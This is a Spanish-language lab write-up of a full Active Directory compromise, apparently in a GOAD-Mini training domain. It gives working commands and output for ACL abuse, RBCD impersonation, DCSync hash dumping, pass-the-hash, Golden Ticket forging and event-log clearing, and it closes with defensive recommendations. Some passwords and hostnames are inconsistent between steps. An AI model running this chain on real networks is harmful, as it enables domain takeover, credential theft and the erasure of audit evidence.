WriteDacl: joffrey.baratheon → tyron.lannister

Hipótesis
BloodHound confirmó que joffrey.baratheon posee WriteDACL sobre tyron.lannister. Este permiso permite modificar la lista de control de acceso del objeto objetivo, otorgándose FullControl (GenericAll efectivo) para continuar la cadena de escalada.
dacledit.py sevenkingdoms.local/joffrey.baratheon:1killerlion 
-dc-ip 192.168.56.10 -principal joffrey.baratheon -target tyron.lannister
-ace-type allowed -action write -rights FullControl

[*] DACL backed up to dacledit-20260803-082944.bak
[*] DACL modified successfully!
Hallazgo
La DACL de tyron.lannister fue modificada exitosamente, otorgando FullControl a joffrey.baratheon sobre el objeto. Un backup automático quedó guardado en dacledit-20260803-082944.bak.
Vector confirmado
joffrey.baratheon tiene ahora GenericAll efectivo sobre tyron.lannister. El siguiente paso es agregar tyron.lannister al grupo Small Council usando su propio permiso de Self-Membership.

Forcechangepasswd: joffrey.baratheon → tyron.lannister

Hipótesis
Al haber obtenido GenericAll sobre tyron.lannister mediante el abuso de WriteDACL, se procede a cambiar su contraseña para obtener credenciales válidas y poder explotar su permiso de Self-Membership sobre el grupo Small Council en el siguiente paso.
bloodyad -d sevenkingdoms.local -i 192.168.56.10 \
-u joffrey.baratheon -p 1killerlion \
-H kingslading.sevenkingdoms.local \
set password tyron.lannister 'Newpasswd'

[+] Password changed successfully!
Hallazgo
Contraseña de tyron.lannister modificada exitosamente mediante GenericAll heredado. Con credenciales válidas de tyron.lannister se procederá a explotar el permiso Self-Membership sobre el grupo Small Council, permitiéndole agregarse a sí mismo sin intervención de un administrador.

Self-Membership: tyron.lannister → Small Council

Hipótesis
Con credenciales válidas de tyron.lannister, se explota el permiso Self-Membership que le permite agregarse a sí mismo al grupo Small Council. Este grupo posee AddMember sobre DragonStone, siendo el siguiente eslabón de la cadena.
bloodyad -d sevenkingdoms.local -i 192.168.56.10 \
-u tyron.lannister -p 'NewPassword456!' \
-H kingslanding.sevenkingdoms.local \
add groupMember 'Small Council' tyron.lannister

[+] tyron.lannister added to Small Council
Hallazgo
tyron.lannister agregado exitosamente al grupo Small Council. Al pertenecer a este grupo se hereda el permiso AddMember sobre DragonStone.

AddMember: Small Council → DragonStone

Hipótesis
Como miembro de Small Council, tyron.lannister hereda el permiso AddMember sobre DragonStone. Se agrega al grupo para heredar el permiso WriteOwner sobre KingsGuard.
bloodyad -d sevenkingdoms.local -i 192.168.56.10 \
-u tyron.lannister -p 'NewPassword456!' \
-H kingslanding.sevenkingdoms.local \
add groupMember 'DragonStone' tyron.lannister

[+] tyron.lannister added to DragonStone
Hallazgo
tyron.lannister agregado al grupo DragonStone. Se hereda el permiso WriteOwner sobre KingsGuard.

WriteOwner: DragonStone → KingsGuard

Hipótesis
El grupo DragonStone posee WriteOwner sobre KingsGuard. Este permiso permite cambiar el propietario del objeto, y el propietario tiene WriteDACL implícito, lo que permite otorgarse GenericAll y posteriormente agregarse como miembro del grupo. El flujo es: cambiar owner → asignar FullControl → agregar miembro.

Paso 1 – Cambiar Owner de KingsGuard

bloodyad -d sevenkingdoms.local -i 192.168.56.10 \
-u tyron.lannister -p 'NewPassword456!' \
-H kingslanding.sevenkingdoms.local \
set owner KingsGuard tyron.lannister

[+] Old owner S-1-5-21-192275561-2566161430-2385015979-1000
is now replaced by tyron.lannister on KingsGuard

Paso 2 – Asignar FullControl sobre KingsGuard

dacledit.py sevenkingdoms.local/tyron.lannister:'NewPassword456!' \
-dc-ip 192.168.56.10 \
-principal tyron.lannister \
-target KingsGuard \
-ace-type allowed -action write -rights FullControl

[*] DACL modified successfully!

Paso 3 – Agregarse al Grupo KingsGuard

bloodyad -d sevenkingdoms.local -i 192.168.56.10 \
-u tyron.lannister -p 'NewPassword456!' \
-H kingslanding.sevenkingdoms.local \
add groupMember KingsGuard tyron.lannister

[+] tyron.lannister added to KingsGuard
Hallazgo
Se completó la cadena DragonStone → KingsGuard. tyron.lannister es ahora miembro de KingsGuard, que posee GenericAll sobre stannis.baratheon. Siguiente paso: abusar de ese permiso para obtener credenciales de stannis.baratheon.

GenericAll: KingsGuard → stannis.baratheon

Hipótesis
El grupo KingsGuard posee GenericAll sobre stannis.baratheon. Se cambia su contraseña para obtener credenciales válidas. Este usuario es crítico en la cadena porque posee GenericAll sobre el equipo KINGSLANDING$ (el DC), lo que abre el camino hacia DCSync y Domain Admin. Adicionalmente pertenece a Baratheon que tiene acceso RDP al DC, permitiendo acceso interactivo.

GenericAll: stannis.baratheon → DC (KINGSLANDING$)

Hipótesis
stannis.baratheon posee GenericAll sobre el objeto computadora KINGSLANDING$. Este permiso permite configurar Resource-Based Constrained Delegation (RBCD), lo que permite impersonar al Administrator ante el DC sin conocer su contraseña, obteniendo un ticket Kerberos válido para acceso total.

Paso 1 – Crear Computadora Falsa del Atacante

addcomputer.py sevenkingdoms.local/stannis.baratheon:'NewPassword789!' \
-computer-name 'EVILPC$' \
-computer-pass 'EvilPass123!' \
-dc-ip 192.168.56.10

[*] Successfully added machine account EVILPC$ with password EvilPass123!.
Hallazgo
Cuenta de computadora EVILPC$ creada en el dominio. Por defecto, cualquier usuario de dominio puede crear hasta 10 cuentas de computadora (ms-DS-Machine AccountQuota).

Paso 2 – Configurar RBCD en KINGSLANDING$

rbcd.py sevenkingdoms.local/stannis.baratheon:'NewPassword789!' \
-dc-ip 192.168.56.10 \
-action write \
-delegate-to 'KINGSLANDING$' \
-delegate-from 'EVILPC$'

[*] Delegation rights modified successfully!
Hallazgo
El atributo msDS-AllowedToActOnBehalfOfOtherIdentity de KINGSLANDING$ fue modificado para permitir que EVILPC$ delegue en su nombre. Esto habilita el ataque S4U2Proxy.

Paso 3 – Solicitar Ticket como Administrator (S4U2Proxy)

getST.py sevenkingdoms.local/'EVILPC$':'EvilPass123!' \
-dc-ip 192.168.56.10 \
-spn cifs/kingslanding.sevenkingdoms.local \
-impersonate Administrator

[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_kingslanding.sevenkingdoms.local
@SEVENKINGDOMS.LOCAL.ccache
Hallazgo
Ticket TGS obtenido exitosamente impersonando a Administrator para el servicio cifs/kingslanding.sevenkingdoms.local. El ticket fue guardado en un archivo ccache listo para usar.

Paso 4 – Exportar el Ticket

export KRB5CCNAME=Administrator@cifs_kingslanding.sevenkingdoms.local\
@SEVENKINGDOMS.LOCAL.ccache
Hallazgo
Variable de entorno KRB5CCNAME configurada. Las herramientas de impacket usarán automáticamente este ticket para autenticarse como Administrator sin necesidad de contraseña.

Movimiento Lateral y Escalada de Privilegios

Acceso Remoto al DC – Ejecución de Comandos

Hipótesis
Con el ticket de Administrator exportado en KRB5CCNAME, se intentó obtener ejecución remota de comandos en el DC mediante distintas herramientas de impacket. Windows Defender activo en el DC bloqueó los métodos que requieren subir archivos al sistema.

Intento 1 – wmiexec.py

wmiexec.py -k -no-pass \
sevenkingdoms.local/Administrator@kingslanding.sevenkingdoms.local
[*] SMBv3.0 dialect used
^C

Por qué no funcionó: la conexión SMBv3 se estableció correctamente pero la herramienta quedó bloqueada. Windows Defender detectó el proceso WMI remoto antes de ejecutar.

Intento 2 – smbexec.py

smbexec.py -k -no-pass -dc-ip 192.168.56.10 \
sevenkingdoms.local/Administrator@kingslanding.sevenkingdoms.local
[-] SMB SessionError: STATUS_OBJECT_NAME_NOT_FOUND

Por qué no funcionó: Windows Defender eliminó el ejecutable temporal que smbexec subió a ADMIN$ antes de que pudiera ser invocado.

Intento 3 – atexec.py

atexec.py -k -no-pass -dc-ip 192.168.56.10 \
sevenkingdoms.local/Administrator@kingslanding.sevenkingdoms.local whoami
[*] Creating task \oAbYNkUV
[*] Running task \oAbYNkUV
[*] Deleting task \oAbYNkUV
[-] SMB SessionError: STATUS_OBJECT_NAME_NOT_FOUND

Por qué no funcionó: la tarea programada se creó y ejecutó pero Windows Defender eliminó el archivo de salida en ADMIN$\Temp antes de que impacket pudiera leerlo.

Nota
Los tres intentos fallaron porque todos requieren subir o crear archivos temporales en el DC. secretsdump.py no sube ningún ejecutable – usa el protocolo DRSUAPI directamente sobre LDAP, lo que evita la detección por Windows Defender.

DCSync Exitoso – secretsdump.py

secretsdump.py -k -no-pass -dc-ip 192.168.56.10 \
sevenkingdoms.local/Administrator@kingslanding.sevenkingdoms.local

[*] Dumping local SAM hashes
Administrator:500:aad3b435b51404eeaad3b435b51404ee:c66d72021a2d4744409969a581
a1705e:::

[*] Dumping Domain Credentials via DRSUAPI
Administrator:500:...:c66d72021a2d4744409969a581a1705e:::
krbtgt:502:...:116c0df36b45aab6e25ad233562e356c:::
tywin.lannister:1111:...:af52e9ec3471788111a6308abff2e9b7:::
jaime.lannister:1112:...:0ef3298edfc59e0cd07c56d829eea9c6:::
cersei.lannister:1113:...:c247f62516b53893c7addcf8c349954b:::
[... resto de usuarios ...]

Administrator:aes256-cts-hmac-sha1-96:bdb1a615bc9d82d2ab21f09f11baaef4bc66c48
efdd56424e1206e581e4dd827
krbtgt:aes256-cts-hmac-sha1-96:856441d8798b084e5b0fe6bb28ba5f48bd8f8cf8c51aa3f02
c2f40cceda14b4b
Vector confirmado
DCSync exitoso. Se obtuvieron los hashes NTLM y claves AES de todos los usuarios del dominio. Credenciales críticas obtenidas: Administrator NTLM: c66d72021a2d4744409969a581a1705e, krbtgt NTLM: 116c0df36b45aab6e25ad233562 e356c. Con el hash de krbtgt es posible forjar un Golden Ticket otorgando persistencia indefinida en el dominio.

Pass-the-Hash – Acceso como Administrator via evil-winrm

Hipótesis
Con el hash NTLM del Administrator obtenido via DCSync, se realiza un ataque Pass-the-Hash para autenticarse en el DC via WinRM sin conocer la contraseña en texto plano.
evil-winrm -i 192.168.56.10 -u Administrator \
-H c66d72021a2d4744409969a581a1705e

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\administrator\Documents> whoami
sevenkingdoms\administrator

*Evil-WinRM* PS C:\Users\administrator\Documents> hostname
kingslanding
Vector confirmado
Acceso interactivo obtenido como sevenkingdoms\administrator en KINGSLANDING. El dominio SEVENKINGDOMS.LOCAL ha sido completamente comprometido.

Post-Explotación y Borrado de Evidencias

Persistencia – Golden Ticket

Hipótesis
Con el hash NTLM de krbtgt obtenido via DCSync, es posible forjar un Golden Ticket – un TGT falso firmado con la clave maestra del dominio. Este ticket permite autenticarse como cualquier usuario inexistente con privilegios de Domain Admin, otorgando persistencia indefinida incluso si se cambian todas las contraseñas del dominio. Solo un reset del hash de krbtgt (dos veces) invalida los Golden Tickets existentes.
ticketer.py -nthash 116c0df36b45aab6e25ad233562e356c \
-domain-sid S-1-5-21-192275561-2566161430-2385015979 \
-domain sevenkingdoms.local \
fakeuser

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for sevenkingdoms.local/fakeuser
[*] Signing/Encrypting final ticket
[*] Saving/Updating ticket in fakeuser.ccache
export KRB5CCNAME=fakeuser.ccache
secretsdump.py -k -no-pass -dc-ip 192.168.56.10 \
sevenkingdoms.local/fakeuser@kingslanding.sevenkingdoms.local

[*] Dumping Domain Credentials via DRSUAPI
Administrator:500:...:c66d72021a2d4744409969a581a1705e:::
krbtgt:502:...:116c0df36b45aab6e25ad233562e356c:::
[...]
Vector confirmado
Golden Ticket forjado con usuario inexistente fakeuser exitosamente validado contra el DC. El dominio SEVENKINGDOMS.LOCAL está bajo control total con persistencia indefinida.

Borrado de Evidencias

Hipótesis
En un pentest real, toda la evidencia de la intrusión debe ser eliminada al finalizar el engagement. Se eliminan los artefactos creados durante el ataque y se limpian los logs de eventos de Windows.
# Eliminar cuenta de computadora EVILPC$ creada para RBCD
addcomputer.py sevenkingdoms.local/Administrator \
-hashes :c66d72021a2d4744409969a581a1705e \
-dc-ip 192.168.56.10 \
-computer-name 'EVILPC$' \
-delete

# Limpiar logs de eventos en el DC (desde evil-winrm)
wevtutil cl Security
wevtutil cl System
wevtutil cl Application

# Eliminar archivos temporales en la maquina atacante
rm fakeuser.ccache kerberoast.txt kerberoast_hash.txt
rm Administrator@cifs_kingslanding.sevenkingdoms.local\
@SEVENKINGDOMS.LOCAL.ccache
Nota
En un entorno de laboratorio, el borrado de evidencias se documenta con fines educativos. En un pentest real, toda acción de limpieza debe estar explícitamente autorizada por el cliente y coordinada con el equipo de blue team.
Hallazgo
Artefactos del ataque eliminados: cuenta EVILPC$ removida del dominio, logs de Security/System/Application limpiados en el DC, archivos temporales de la máquina atacante eliminados.

Vulnerabilidades y Recomendaciones

Resumen de Vulnerabilidades

Vulnerabilidad Objeto afectado Tipo Severidad
ACLs mal configuradastywin → DAACL AbuseCrítica
Targeted Kerberoastingjoffrey.baratheonSPN AbuseAlta
RBCD AttackKINGSLANDING$Delegation AbuseCrítica
DCSyncDominio completoPrivilege AbuseCrítica
Contraseñas débilesjoffrey.baratheonWeak PasswordAlta

Recomendaciones

ACLs Mal Configuradas

Auditar regularmente las ACLs del dominio con BloodHound. Ningún usuario regular debe tener permisos como ForceChangePassword, GenericWrite, WriteDACL o GenericAll sobre otros objetos del dominio sin justificación explícita y documentada. Aplicar el principio de menor privilegio en cada objeto del directorio.

Targeted Kerberoasting

Evitar registrar SPNs en cuentas de usuario. Si es necesario, usar contraseñas de mínimo 25 caracteres o implementar Group Managed Service Accounts (gMSA) que rotan su contraseña automáticamente y cuyo hash no es crackeable offline.

RBCD – Resource-Based Constrained Delegation

Reducir el valor de ms-DS-MachineAccountQuota a 0 para impedir que usuarios no privilegiados creen cuentas de computadora. Auditar regularmente el atributo msDS-AllowedToActOn BehalfOfOtherIdentity en objetos computadora críticos como los Domain Controllers.

DCSync

Restringir los permisos de Replicating Directory Changes únicamente a los Domain Controllers. Auditar regularmente qué cuentas poseen este derecho y alertar ante cualquier uso del protocolo DRSUAPI desde equipos que no sean DCs.

Contraseñas Débiles

Implementar políticas de contraseñas robustas con mínimo 15 caracteres, complejidad obligatoria y rotación periódica. La contraseña 1killerlion de joffrey.baratheon fue crackeada en menos de 2 segundos con rockyou.txt.

Reflexión Final

Qué salió bien

La fase de reconocimiento inicial fue ejecutada de forma ordenada y sistemática, identificando correctamente todos los servicios expuestos, el FQDN del dominio y los vectores potenciales antes de intentar cualquier ataque. La identificación de AD CS mediante feroxbuster fue un hallazgo relevante que no estaba en el plan inicial. La enumeración con credenciales fue eficiente una vez obtenido el punto de entrada, mapeando usuarios, grupos y ACLs correctamente mediante netexec y bloodhound-python. La cadena de abuso de ACLs se ejecutó paso a paso sin perder el hilo de la escalada, comprendiendo el propósito de cada permiso antes de explotarlo. La documentación simultánea al ataque permitió capturar cada detalle sin necesidad de reconstruir los pasos a posteriori.

Qué salió mal

Se invirtió tiempo considerable intentando enumerar el dominio y encontrar un vector de entrada sin credenciales, probando password spray, AS-REP Roasting, user-as-password y enumeración anónima por LDAP. El password spray provocó un lockout masivo de 10 de 11 cuentas del dominio – en un entorno real esto habría alertado inmediatamente al equipo de seguridad y comprometido la operación. Solo al consultar el repositorio oficial de GOAD-Mini se determinó que el lab está diseñado para comenzar con credenciales proporcionadas. También se perdió tiempo con los intentos fallidos de ejecución remota (wmiexec, smbexec, atexec) sin investigar primero el impacto de Windows Defender en el DC antes de elegir la herramienta.

Lecciones Aprendidas

Este laboratorio representó la primera exposición práctica completa a Active Directory ofensivo y superó ampliamente las expectativas iniciales en complejidad técnica. Los conceptos de enumeración AD, abuso de ACLs, Kerberoasting dirigido, RBCD y DCSync eran completamente nuevos antes de este lab.

La lección más importante fue entender que en Active Directory el vector de ataque rara vez es una vulnerabilidad clásica – es la combinación de permisos excesivos encadenados. Una cuenta con ForceChangePassword sobre otra, que tiene GenericWrite sobre una tercera, que tiene WriteDACL sobre una cuarta…cada eslabón por separado parece inofensivo. Encadenados, llevan a Domain Admin.

BloodHound cambia completamente la forma de visualizar un dominio. Lo que sería imposible de identificar manualmente en un entorno con decenas de objetos se convierte en una ruta visible en segundos. El concepto de grafo de ataque es fundamental para el trabajo ofensivo en AD.

El ataque RBCD fue la técnica más compleja y reveladora del lab. Abusar de GenericAll sobre un objeto computadora para configurar delegación, crear una cuenta falsa y solicitar un ticket como Administrator via S4U2Proxy es un vector que demuestra la profundidad del protocolo Kerberos como superficie de ataque. Finalmente, la limitación de Windows Defender sobre las herramientas de ejecución remota enseñó que la elección de la herramienta correcta depende del entorno – secretsdump.py con DRSUAPI fue la alternativa sigilosa que no requirió interacción con el sistema de archivos del DC.

Tiempo Total

Fase Tiempo
Reconocimiento e infraestructura1 Hora y 45 Minutos
Enumeración de AD6 Horas
Ataques (Kerberoasting, ACL Abuse, RBCD)5 Horas
Movimiento lateral y escalada1 Hora y 20 Minutos
Post-explotación y limpieza20 Minutos
Total14 Horas y 25 Minutos
Nota
El laboratorio fue completado en 4 días y medio de trabajo, distribuyendo las fases entre sesiones prácticas y estudio teórico de cada técnica antes de su ejecución.